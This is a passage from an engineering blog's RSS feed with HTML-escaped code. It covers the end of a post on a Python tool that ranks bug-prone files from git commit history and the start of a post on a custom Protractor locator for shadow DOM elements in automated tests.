punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;days&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fileExclusions&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; commits &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; remove_excluded_files&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;commits&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; commits&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&apos;&apos;&apos;Did not find commits matching search criteria\n&apos;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&apos;&apos;&apos;for repo at: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; branch: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;branch&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt; print_summary&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;branch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;commits&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;days&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;last_message&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; last_date&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; last_files&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; commits&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; current_dt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; datetime&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;datetime&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;now&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&apos;\nFixes\n&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;-&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; hotspots &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; message&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; files &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; commits&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; this_commit_diff &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; time_diff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dt&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; last_commit_diff &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; time_diff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dt&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; last_date&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; factor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; this_commit_diff &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; last_commit_diff factor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; factor &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; filename &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; files&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; filename &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; hotspots&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; hotspots&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;filename&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; hotspot_factor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exp&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; factor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;pass&lt;/span&gt; hotspots&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;filename&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; hotspot_factor &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&apos; -&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;message&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; sorted_hotspots &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sorted&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hotspots&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;hotspots&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; reverse&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&apos;\nHotspots\n&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;-&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; k &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; sorted_hotspots&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;limit&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;yield&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hotspots&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; k&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Along with this, we have added the following parameters to the command line using the &lt;a href=&quot;https://docs.python.org/3/library/argparse.html&quot;&gt;argparse&lt;/a&gt; module.&lt;/p&gt; &lt;h4 id=&quot;parameters-supported&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#parameters-supported&quot; aria-label=&quot;parameters supported permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Parameters supported&lt;/h4&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Optional Argument&lt;/th&gt; &lt;th&gt;Description&lt;/th&gt; &lt;th&gt;Example usage&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;-h, --help&lt;/td&gt; &lt;td&gt;Shows the help dialog describing usage&lt;/td&gt; &lt;td&gt;bughotspots --help&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;--days&lt;/td&gt; &lt;td&gt;Number of days in history for which commits are considered to compute bug factor, default value: 30&lt;/td&gt; &lt;td&gt;bughotspots --days 60&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;--limit&lt;/td&gt; &lt;td&gt;Max amount of file hotspots results to show, default value: 10&lt;/td&gt; &lt;td&gt;bughotspots --limit 100&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;--branch&lt;/td&gt; &lt;td&gt;Use a specific branch, default value: &apos;master&apos;&lt;/td&gt; &lt;td&gt;bughotspots --branch feature-branch&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;--bugsFile&lt;/td&gt; &lt;td&gt;Use a file with list of bugs to search in commits, default to searching commits with QF issues mentioned&lt;/td&gt; &lt;td&gt;bughotspots --bugsFile bugs.csv&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;--paths&lt;/td&gt; &lt;td&gt;Provide repository paths to look into, default to search in current directory&lt;/td&gt; &lt;td&gt;bughotspots --paths ../folder1 ../folder2&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;--fileExclusions&lt;/td&gt; &lt;td&gt;Exclude changes in dependency files(package.json, requirements.txt), README and tests from consideration while computing bug hotspots, default value: false&lt;/td&gt; &lt;td&gt;bughotspots --paths ../folder1 ../folder2&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;h3 id=&quot;aftermath&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#aftermath&quot; aria-label=&quot;aftermath permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Aftermath&lt;/h3&gt; &lt;p&gt;Further, we can add the functionality to generate reports through this in markdown or even more beautified HTML reports. If historical trends are kept, then there can be trends plotted using visualization libraries like &lt;a href=&quot;https://bokeh.org/&quot;&gt;Bokeh&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>Punit Goswami</author></item><item><title><![CDATA[Handling Shadow DOM in Protractor Tests]]></title><description><![CDATA[Overview Shadow DOM has slowly and steadily become an integral part of modern web apps. Before this, the Web platform provided only one way…]]></description><link>https://engineering.wingify.com//posts/handling-shadow-dom-in-protractor/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/handling-shadow-dom-in-protractor/</guid><pubDate>Fri, 17 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h3 id=&quot;overview&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#overview&quot; aria-label=&quot;overview permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Overview&lt;/h3&gt; &lt;p&gt;Shadow DOM has slowly and steadily become an integral part of modern web apps. Before this, the Web platform provided only one way to isolate one chunk of code from another - the iframe. But for most encapsulation requirements, the frames are too heavy and not as allowing. Enter the shadow DOM. Through this a browser can include the subtree of DOM elements into the rendered document, still keeping it separate from the main document&apos;s DOM tree.&lt;/p&gt; &lt;h3 id=&quot;the-problem&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-problem&quot; aria-label=&quot;the problem permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Problem&lt;/h3&gt; &lt;p&gt;While our front-end automation tests were working fine under the Protractor-with-Jasmine implementation, handling shadow DOMs was still posing to be an elusive challenge. See, protractor does provide an out-of-the-box selector for handling shadow DOM elements - &lt;code class=&quot;language-text&quot;&gt;deepCSS&lt;/code&gt;. But the truth of the story is that handling of the shadow DOM elements through &lt;code class=&quot;language-text&quot;&gt;deepCSS&lt;/code&gt; is riddled with issues reported but unsolved and fixes suggested but not implemented or merged yet.&lt;/p&gt; &lt;h3 id=&quot;the-solution&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-solution&quot; aria-label=&quot;the solution permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Solution&lt;/h3&gt; &lt;p&gt;So we decided to make a custom locator for handling shadow DOM elements since a lot of elements in our app were implemented through shadow DOM.&lt;/p&gt; &lt;p&gt;Our approach was to traverse the shadow DOM tree as any other tree, from the root to the node, and traverse only that path that matches our desired path, as dictated by the selector path. Keeping a note of the immediate parent of the root node of the shadow tree allows us to map the shadow DOM tree to the main page DOM tree.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// split the selector path into degenerate shadow root levels&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; selectors &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cssSelector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;::sr&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// handling the case where no CSS selector is provided&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selectors&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// attach a shadow DOM tree to the specified element&apos;s immediate parent&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; shadowDomInUse &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;head&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;attachShadow&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/** * Determines whether the given element is a shadow root * @param {Object} el - web element */&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;getShadowRoot&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;el&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;el &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; shadowDomInUse&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;shadowRoot &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; el&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;It also had to be kept in mind that more than one element could match any given selector path. So the matching elements would be kept in an array. Also, we run this recursively so that we traverse all the matching branches of any given node.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/** * finds all elements matching the given selector, pushes them in an array * @param {string} selector - CSS selector * @param {Object} targets - Targetted element * @param {boolean} firstTry - Whether this is the first attempt to look for the element at the path */&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;findAllMatches&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;selector&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; targets&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; firstTry&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; using&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; matches &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; targets&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// traverse root level elements in targets, otherwise if not the first pass&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// traverse the nested shadow DOMs in the targets recursively&lt;/span&gt; using &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;firstTry&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; targets&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getShadowRoot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;targets&lt;span class=&quot;token 